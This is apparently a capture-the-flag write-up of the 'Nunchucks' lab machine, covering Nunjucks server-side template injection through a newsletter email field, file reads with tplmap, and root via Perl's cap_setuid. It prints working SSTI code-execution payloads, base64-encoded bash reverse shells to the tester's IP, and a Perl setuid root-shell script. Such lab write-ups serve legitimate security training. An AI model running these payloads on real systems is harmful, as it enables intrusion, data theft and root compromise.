Nunchucks features a NodeJS website that uses Nunjucks as its templating engine. Fuzzing for the hostname reveals another website that is vulnerable to SSTI, which can be exploited to gain initial access to the system. Further enumeration reveals that the Perl binary has the cap_setuid
capability set, and this eventually allows me to escalate myself to root.
I really enjoyed the foothold part of this box, so that section might be a bit longer.
Skills Learned
- Web enumeration
- SSTI on Nunjucks
- Creating tplmap middleware using Flask
- Exploiting
cap_setuid
on Perl
Tools
- Nmap
- Tplmap
- Flask
Reconnaissance
Nmap
Full TCP scan with nmap
reveals 3 open ports: SSH on its default, HTTP and its secure version, HTTPS.
→ kali@kali «nunchucks» «10.10.14.46»
$ fscan 10.10.11.122 nunchucks
nmap -p- 10.10.11.122 | grep '^[0-9]' | cut -d '/' -f1 | tr '\n' ',' | sed 's/,$//'
nmap -p 22,80,443 -sC -sV -oA nmap/all-tcp-ports-nunchucks 10.10.11.122
Starting Nmap 7.91 ( https://nmap.org ) at 2021-11-05 07:12 EDT
Nmap scan report for 10.10.11.122
Host is up (0.14s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6c:14:6d:bb:74:59:c3:78:2e:48:f5:11:d8:5b:47:21 (RSA)
| 256 a2:f4:2c:42:74:65:a3:7c:26:dd:49:72:23:82:72:71 (ECDSA)
|_ 256 e1:8d:44:e7:21:6d:7c:13:2f:ea:3b:83:58:aa:02:b3 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to https://nunchucks.htb/
443/tcp open ssl/http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Nunchucks - Landing Page
| ssl-cert: Subject: commonName=nunchucks.htb/organizationName=Nunchucks-Certificates/stateOrProvinceName=Dorset/countryName=UK
| Subject Alternative Name: DNS:localhost, DNS:nunchucks.htb
| Not valid before: 2021-08-30T15:42:24
|_Not valid after: 2031-08-28T15:42:24
| tls-alpn:
|_ http/1.1
| tls-nextprotoneg:
|_ http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.77 seconds
I’ll update my /etc/hosts
.
→ kali@kali «nunchucks» «10.10.14.46»
$ echo '10.10.11.122 nunchucks.htb' | sudo tee -a /etc/hosts
Enumeration
HTTP -> HTTPS
For HTTP, nothing interesting in the server response, it has permanent redirection to HTTPS.
→ kali@kali «nunchucks» «10.10.14.46»
$ curl -I http://nunchucks.htb/
HTTP/1.1 301 Moved Permanently
Server: nginx/1.18.0 (Ubuntu)
Date: Fri, 05 Nov 2021 11:51:32 GMT
Content-Type: text/html
Content-Length: 178
Connection: keep-alive
Location: https://nunchucks.htb/
nunchucks.htb
On the HTTPS, it’s a company site called Nunchucks that offers online shop creation.
At the bottom of the page, there is an email, also it says it will have a store soon.
Opening Wappalyzer reveals it’s using Node.js and PHP. I doubt it’s PHP since appending .php
gives me a 404 error.
The signup button sends me to /signup
where a signup form is shown. I will just signup and intercept the request.
I’ll send this request to repeater just in case, and then forward it
But then, the returned response states that registration is closed
I changed the endpoint to /api/login
, and it returns the same.
Sending a malformed input breaks the parser and leaks the web directory.
Nothing else to try here.
Subdomain Fuzz
Fuzzing the Host header reveals a subdomain: store.nunchucks.htb
→ kali@kali «nunchucks» «10.10.14.46»
$ ffuf -k -u https://nunchucks.htb -H "Host: FUZZ.nunchucks.htb" -mc 200 -w /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -fl 547
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.3.0-dev
________________________________________________
:: Method : GET
:: URL : https://nunchucks.htb
:: Wordlist : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
:: Header : Host: FUZZ.nunchucks.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200
:: Filter : Response lines: 547
________________________________________________
store [Status: 200, Size: 4028, Words: 1053, Lines: 102]
:: Progress: [4989/4989] :: Job [1/1] :: 269 req/sec :: Duration: [0:00:22] :: Errors: 0 ::
I’ll update my /etc/hosts
again.
→ kali@kali «nunchucks» «10.10.14.46»
$ echo '10.10.11.122 store.nunchucks.htb' | sudo tee -a /etc/hosts
store.nunchucks.htb
Store is not available, but I can subscribe for newsletter.
When I submit an email address there, it reflects the address back.
Foothold
SSTI
Identify
Since I’ve got a spoiler from the machine tags and the machine name, I immediately sent the typical {{7*7}}
SSTI payload, and 49
returned in the email address. This means the site is vulnerable.
The email validation is on client-side.
Creating Middleware for tplmap with Flask
The machine name gives a big spoiler about which templating engine this machine uses (Nunjucks), and there is a nice writeup that shows how to exploit it here. But, I’d like to let tplmap
identify it for me.
Unfortunately, there is no such option in tplmap
for sending a request in JSON format. Therefore, I created a simple middleware using Flask which acts as a middleman/proxy that will takes the non-JSON request and convert it before forwarding the request to store.nunchucks.htb
. Here’s the code:
If you’re having trouble with tplmap, maybe this post here could resolve it.
I’ll run the middleware.
→ kali@kali «exploits» «10.10.14.46»
$ python3 middleware.py
* Serving Flask app "middleware" (lazy loading)
* Environment: production
WARNING: This is a development server. Do not use it in a production deployment.
Use a production WSGI server instead.
* Debug mode: off
* Running on http://0.0.0.0:80/ (Press CTRL+C to quit)
Then I will point tplmap
to the middleware.
(tplmap-venv) → kali@kali «tplmap» «10.10.14.46»
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb'
Now I’ll just wait for it to finish, and here’s the image of how it went.
After a few sec later, tplmap
finally got it right.
(tplmap-venv) → kali@kali «tplmap» «10.10.14.46» git:(master)
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'email' is injectable
...[SNIP]...
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: email
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: ok
File read: ok
Code evaluation: ok, javascript code
[+] Rerun tplmap providing one of the following options:
--upload LOCAL REMOTE Upload files to the server
--download REMOTE LOCAL Download remote files
Based on the tplmap
results, it seems that command execution is not possible.
Grabbing The Flag
With the file read ability, the first file I want to grab isn’t /etc/passwd
, but /proc/self/environ
, which most likely to reveal some sensitive information.
(tplmap-venv) → kali@kali «tplmap» «10.10.14.46» git:(master)
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb' --engine Nunjucks --download '/proc/self/environ' 'loot/dl_environ'
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'email' is injectable
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: email
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: ok
File read: ok
Code evaluation: ok, javascript code
[*][plugin] Remote file md5 mismatch, check manually
Even though the tool showed md5 mismatch, I can still read the file contents. This file reveals that the app is running as user david
under /var/www/store.nunchucks
.
→ kali@kali «tplmap» «10.10.14.46» git:(master) ✗
$ cat loot/dl_environ | tr ',' '\n'
LANG=en_GB.UTF-8PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin:/usr/bin:/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/binPIDFILE=/home/david/.pm2/pm2.pidHOME=/home/davidLOGNAME=davidUSER=davidSHELL=/bin/bashINVOCATION_ID=c56bdde5ecfc4ab2800ce66c625918d4JOURNAL_STREAM=9:34693PM2_USAGE=CLIPM2_HOME=/home/david/.pm2SILENT=truewindowsHide=truepm2_env={"kill_retry_time":100
"windowsHide":true
"username":"david"
"treekill":true
"automation":true
"pmx":true
"instance_var":"NODE_APP_INSTANCE"
"watch":false
"autorestart":true
"vizion":true
"env":{"PM2_USAGE":"CLI"
"OLDPWD":"/var/www"
"_":"/usr/local/bin/pm2"
"MAIL":"/var/mail/david"
"DBUS_SESSION_BUS_ADDRESS":"unix:path=/run/user/1000/bus"
"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
"HUSHLOGIN":"FALSE"
"JOURNAL_STREAM":"9:35778"
"XDG_RUNTIME_DIR":"/run/user/1000"
"XDG_SESSION_ID":"1"
"XDG_VTNR":"1"
"SHLVL":"1"
"USER":"david"
"LESSOPEN":"| /usr/bin/lesspipe %s"
"TERM":"linux"
"XDG_SESSION_CLASS":"user"
"LESSCLOSE":"/usr/bin/lesspipe %s %s"
"INVOCATION_ID":"d8a8bc4baeb140c685790fc6e1974718"
"LS_COLORS":"rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
"LANG":"en_GB.UTF-8"
"HOME":"/home/david"
"MOTD_SHOWN":"pam"
"XDG_SESSION_TYPE":"tty"
"LOGNAME":"david"
"PWD":"/var/www/store.nunchucks"
"XDG_SEAT":"seat0"
"SHELL":"/bin/bash"
"PM2_HOME":"/home/david/.pm2"
"server":{}
"unique_id":"cc712ea0-c7b6-40af-9a85-94d9a4fee31a"}
"namespace":"default"
"filter_env":[]
"name":"server"
"node_args":[]
"pm_exec_path":"/var/www/store.nunchucks/server.js"
"pm_cwd":"/var/www/store.nunchucks"
"exec_interpreter":"node"
"exec_mode":"cluster_mode"
"pm_out_log_path":"/home/david/.pm2/logs/server-out-6.log"
"pm_err_log_path":"/home/david/.pm2/logs/server-error-6.log"
"pm_pid_path":"/home/david/.pm2/pids/server-6.pid"
"km_link":false
"vizion_running":false
"NODE_APP_INSTANCE":5
"PM2_USAGE":"CLI"
"OLDPWD":"/var/www"
"_":"/usr/local/bin/pm2"
"MAIL":"/var/mail/david"
"DBUS_SESSION_BUS_ADDRESS":"unix:path=/run/user/1000/bus"
"PATH":"/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin"
"HUSHLOGIN":"FALSE"
"JOURNAL_STREAM":"9:35778"
"XDG_RUNTIME_DIR":"/run/user/1000"
"XDG_SESSION_ID":"1"
"XDG_VTNR":"1"
"SHLVL":"1"
"USER":"david"
"LESSOPEN":"| /usr/bin/lesspipe %s"
"TERM":"linux"
"XDG_SESSION_CLASS":"user"
"LESSCLOSE":"/usr/bin/lesspipe %s %s"
"INVOCATION_ID":"d8a8bc4baeb140c685790fc6e1974718"
"LS_COLORS":"rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc=01;31:*.arj=01;31:*.taz=01;31:*.lha=01;31:*.lz4=01;31:*.lzh=01;31:*.lzma=01;31:*.tlz=01;31:*.txz=01;31:*.tzo=01;31:*.t7z=01;31:*.zip=01;31:*.z=01;31:*.dz=01;31:*.gz=01;31:*.lrz=01;31:*.lz=01;31:*.lzo=01;31:*.xz=01;31:*.zst=01;31:*.tzst=01;31:*.bz2=01;31:*.bz=01;31:*.tbz=01;31:*.tbz2=01;31:*.tz=01;31:*.deb=01;31:*.rpm=01;31:*.jar=01;31:*.war=01;31:*.ear=01;31:*.sar=01;31:*.rar=01;31:*.alz=01;31:*.ace=01;31:*.zoo=01;31:*.cpio=01;31:*.7z=01;31:*.rz=01;31:*.cab=01;31:*.wim=01;31:*.swm=01;31:*.dwm=01;31:*.esd=01;31:*.jpg=01;35:*.jpeg=01;35:*.mjpg=01;35:*.mjpeg=01;35:*.gif=01;35:*.bmp=01;35:*.pbm=01;35:*.pgm=01;35:*.ppm=01;35:*.tga=01;35:*.xbm=01;35:*.xpm=01;35:*.tif=01;35:*.tiff=01;35:*.png=01;35:*.svg=01;35:*.svgz=01;35:*.mng=01;35:*.pcx=01;35:*.mov=01;35:*.mpg=01;35:*.mpeg=01;35:*.m2v=01;35:*.mkv=01;35:*.webm=01;35:*.ogm=01;35:*.mp4=01;35:*.m4v=01;35:*.mp4v=01;35:*.vob=01;35:*.qt=01;35:*.nuv=01;35:*.wmv=01;35:*.asf=01;35:*.rm=01;35:*.rmvb=01;35:*.flc=01;35:*.avi=01;35:*.fli=01;35:*.flv=01;35:*.gl=01;35:*.dl=01;35:*.xcf=01;35:*.xwd=01;35:*.yuv=01;35:*.cgm=01;35:*.emf=01;35:*.ogv=01;35:*.ogx=01;35:*.aac=00;36:*.au=00;36:*.flac=00;36:*.m4a=00;36:*.mid=00;36:*.midi=00;36:*.mka=00;36:*.mp3=00;36:*.mpc=00;36:*.ogg=00;36:*.ra=00;36:*.wav=00;36:*.oga=00;36:*.opus=00;36:*.spx=00;36:*.xspf=00;36:"
"LANG":"en_GB.UTF-8"
"HOME":"/home/david"
"MOTD_SHOWN":"pam"
"XDG_SESSION_TYPE":"tty"
"LOGNAME":"david"
"PWD":"/var/www/store.nunchucks"
"XDG_SEAT":"seat0"
"SHELL":"/bin/bash"
"PM2_HOME":"/home/david/.pm2"
"unique_id":"cc712ea0-c7b6-40af-9a85-94d9a4fee31a"
"status":"launching"
"pm_uptime":1636123032873
"axm_actions":[]
"axm_monitor":{}
"axm_options":{}
"axm_dynamic":{}
"created_at":1633378615869
"restart_time":2
"unstable_restarts":0
"_pm2_version":"5.1.1"
"version":"1.0.0"
"versioning":null
"node_version":"10.19.0"
"pm_id":6
"exit_code":0}NODE_UNIQUE_ID=12NODE_CHANNEL_FD=3
Since I know the username, I can try to grab the flag now.
→ kali@kali «tplmap» «10.10.14.46» git:(master) ✗
$ ./tplmap.py -u 'http://127.0.0.1/?email=0mochi@iamf.htb' --engine Nunjucks --download '/home/david/user.txt' 'loot/user.txt'
→ kali@kali «tplmap» «10.10.14.46» git:(master) ✗
$ cat loot/user.txt
bac81...[SNIP]...
Shell as david
tpl-shell
With write access, I tried to drop my public key to /home/david/.ssh/authorized_keys
, but didn’t work. One possible thing is that there is no .ssh
folder, and to create one I need command execution!
After some hours, I tried the --tpl-shell
, and using the same blog for syntax reference.
→ kali@kali «tplmap» «10.10.14.46» git:(master) ✗
$ tplmap -u 'http://127.0.0.1/?email=0mochi@iamf.htb' --engine Nunjucks --tpl-shell
[+] Tplmap 0.5
Automatic Server-Side Template Injection Detection and Exploitation Tool
[+] Testing if GET parameter 'email' is injectable
[+] Nunjucks plugin is testing rendering with tag '{{*}}'
[+] Nunjucks plugin has confirmed injection with tag '{{*}}'
[+] Tplmap identified the following injection point:
GET parameter: email
Engine: Nunjucks
Injection: {{*}}
Context: text
OS: linux
Technique: render
Capabilities:
Shell command execution: no
Bind and reverse shell: no
File write: ok
File read: ok
Code evaluation: ok, javascript code
[+] Inject multi-line template code. Press ctrl-D to send the lines
[0] nunjucks >
Previously tplmap
identified that I didn’t have code/OS command execution, but here’s what I got when trying to create .ssh
folder:
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('ls -la ~/.ssh')")()
[1] nunjucks >
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('mkdir ~/.ssh')")()
[1] nunjucks >
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('ls -l ~/.ssh')")()
[1] nunjucks >
total 0\n
I definitely can execute OS command 😮!
Reverse shell
I tried to inject my SSH pubkey and login, but a password prompt pops out. Therefore, I will use a base64 encoded reverse shell.
The payload:
→ kali@kali «nunchucks» «10.10.14.46»
$ echo 'bash -c "bash -i >& /dev/tcp/10.10.14.46/53 0>&1"' | base64
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni81MyAwPiYxIgo=
Now I’ll put that payload to david’s home, and execute it.
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('echo YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni81MyAwPiYxIgo= | base64 -d > ~/.0mochi.sh && chmod +x ~/.0mochi.sh')")()
[1] nunjucks >
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('ls -l ~/.0mochi.sh')")()
[1] nunjucks >
-rwxr-xr-x 1 david david 50 Nov 5 15:32 /home/david/.0mochi.sh\n
[0] nunjucks > range.constructor("return global.process.mainModule.require('child_process').execSync('bash ~/.0mochi.sh')")()
[1] nunjucks >
On my listener.
→ kali@kali «nunchucks» «10.10.14.46»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.46] from (UNKNOWN) [10.10.11.122] 39352
bash: cannot set terminal process group (1009): Inappropriate ioctl for device
bash: no job control in this shell
david@nunchucks:/var/www/store.nunchucks$ id
id
uid=1000(david) gid=1000(david) groups=1000(david)
david@nunchucks:/var/www/store.nunchucks$
Privilege Escalation
Shell as root
Enumeration
Under /opt
there is a backup script written in Perl.
david@nunchucks:/opt$ ls -la
total 16
drwxr-xr-x 3 root root 4096 Oct 28 17:03 .
drwxr-xr-x 19 root root 4096 Oct 28 17:03 ..
-rwxr-xr-x 1 root root 838 Sep 1 12:53 backup.pl
drwxr-xr-x 2 root root 4096 Oct 28 17:03 web_backups
david@nunchucks:/opt$ ls web_backups/ -l
total 14944
-rw-rw-r-- 1 root david 7651273 Sep 26 01:06 backup_2021-09-26-1632618416.tar
-rw-rw-r-- 1 root david 7651273 Sep 26 01:18 backup_2021-09-26-1632619104.tar
The script code:
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
my $tmpdir = "/tmp";
my $backup_main = '/var/www';
my $now = strftime("%Y-%m-%d-%s", localtime);
my $tmpbdir = "$tmpdir/backup_$now";
sub printlog
{
print "[", strftime("%D %T", localtime), "] $_[0]\n";
}
sub archive
{
printlog "Archiving...";
system("/usr/bin/tar -zcf $tmpbdir/backup_$now.tar $backup_main/* 2>/dev/null");
printlog "Backup complete in $tmpbdir/backup_$now.tar";
}
if ($> != 0) {
die "You must run this script as root.\n";
}
printlog "Backup starts.";
mkdir($tmpbdir);
&archive;
printlog "Moving $tmpbdir/backup_$now to /opt/web_backups";
system("/usr/bin/mv $tmpbdir/backup_$now.tar /opt/web_backups/");
printlog "Removing temporary directory";
rmdir($tmpbdir);
printlog "Completed";
When I run it, I find that I passed the first if statement, which checks for root priv.
david@nunchucks:/opt$ ./backup.pl
[11/05/21 15:56:43] Backup starts.
[11/05/21 15:56:43] Archiving...
[11/05/21 15:56:44] Backup complete in /tmp/backup_2021-11-05-1636127803/backup_2021-11-05-1636127803.tar
[11/05/21 15:56:44] Moving /tmp/backup_2021-11-05-1636127803/backup_2021-11-05-1636127803 to /opt/web_backups
[11/05/21 15:56:44] Removing temporary directory
[11/05/21 15:56:44] Completed
david@nunchucks:/opt$
A quick check on Perl capabilities reveals that it has cap_setuid+ep
.
david@nunchucks:/tmp$ getcap $(which perl)
/usr/bin/perl = cap_setuid+ep
Exploit cap_setuid+ep
I tried the GTFObins way to exploit the cap_setuid
capability, but it didn’t spawn me a root shell. However, executing whoami
still shows that I’m root.
david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
david@nunchucks:/tmp$ /usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";'
root
I also couldn’t get the root flag, it returned with permission denied.
The next thing I tried was reusing the backup script, but with all of the code except the header stripped off and I changed the system command for executing reverse shell.
david@nunchucks:/tmp$ cat .0mochi.pl
#!/usr/bin/perl
use strict;
use POSIX qw(strftime);
use DBI;
use POSIX qw(setuid);
POSIX::setuid(0);
system("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.46/53 0>&1'")
david@nunchucks:/tmp$ chmod +x .0mochi.pl
And it worked!
→ kali@kali «nunchucks» «10.10.14.46»
$ nc -nvlp 53
listening on [any] 53 ...
connect to [10.10.14.46] from (UNKNOWN) [10.10.11.122] 39386
root@nunchucks:/tmp# id
id
uid=0(root) gid=1000(david) groups=1000(david)
The flag
root@nunchucks:/tmp# cat /root/root.txt
cat /root/root.txt
1d2cc...[SNIP]...